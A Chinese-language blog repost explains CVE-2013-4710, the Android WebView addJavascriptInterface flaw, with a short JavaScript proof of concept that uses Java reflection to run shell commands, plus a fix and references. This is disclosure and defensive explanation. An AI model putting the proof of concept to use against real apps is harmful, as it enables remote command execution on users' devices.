CVE-2013-4710 WebView addJavascriptInterface远程执行代码

WebView是Android平台下的一个重要组件,通常用来在Activity中嵌入一个简单的浏览器,实现在线网页浏览的功能。比如下面代码实现访问Google页面:

WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl("http://www.google.com"); 

为了与Web页面实现动态交互,Android应用程序允许WebView通过WebView.addJavascriptInterface接口向Web页面注入Java对象,页面Javascript脚本可直接引用该对象并调用该对象的方法。

这类应用程序一般都会有类似如下的代码:

webView.addJavascriptInterface(javaObj, "jsObj");

此段代码将javaObj对象暴露给js脚本,可以通过jsObj对象对其进行引用,调用javaObj的方法。
结合Java的反射机制可以通过js脚本执行任意Java代码,相关代码如下:

POC

<script>
function execute(cmdArgs)
{
    return local_obj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke

(null,null).exec(cmdArgs);
}

try{
    execute(["/system/bin/sh","-c","echo 'xxx remote command execute' > /sdcard/hi"]);
}catch(e){
    alert(e);
}
</script>

 

 

 

漏洞案例:

  百度网易等数大量安卓应用存在远程代码执行漏洞

修复方案:

  如需要使用相关组件,可以调用removeJavascriptInterface(“accessibility”) 和removeJavascriptInterface(“accessibilityTraversal”) 方法移除这两个默认接口;

如下图所示:

 

 

 

Referer:

  https://www.uedbox.com/post/28685/

  https://www.secpulse.com/archives/19459.html

  https://labs.mwrinfosecurity.com/archive/webview-addjavascriptinterface-remote-code-execution/

  https://www.cnblogs.com/wytiger/p/10436045.html

  https://www.jianshu.com/p/9f7e9ab8d2fa

 

转载于:https://www.cnblogs.com/nul1/p/11567874.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值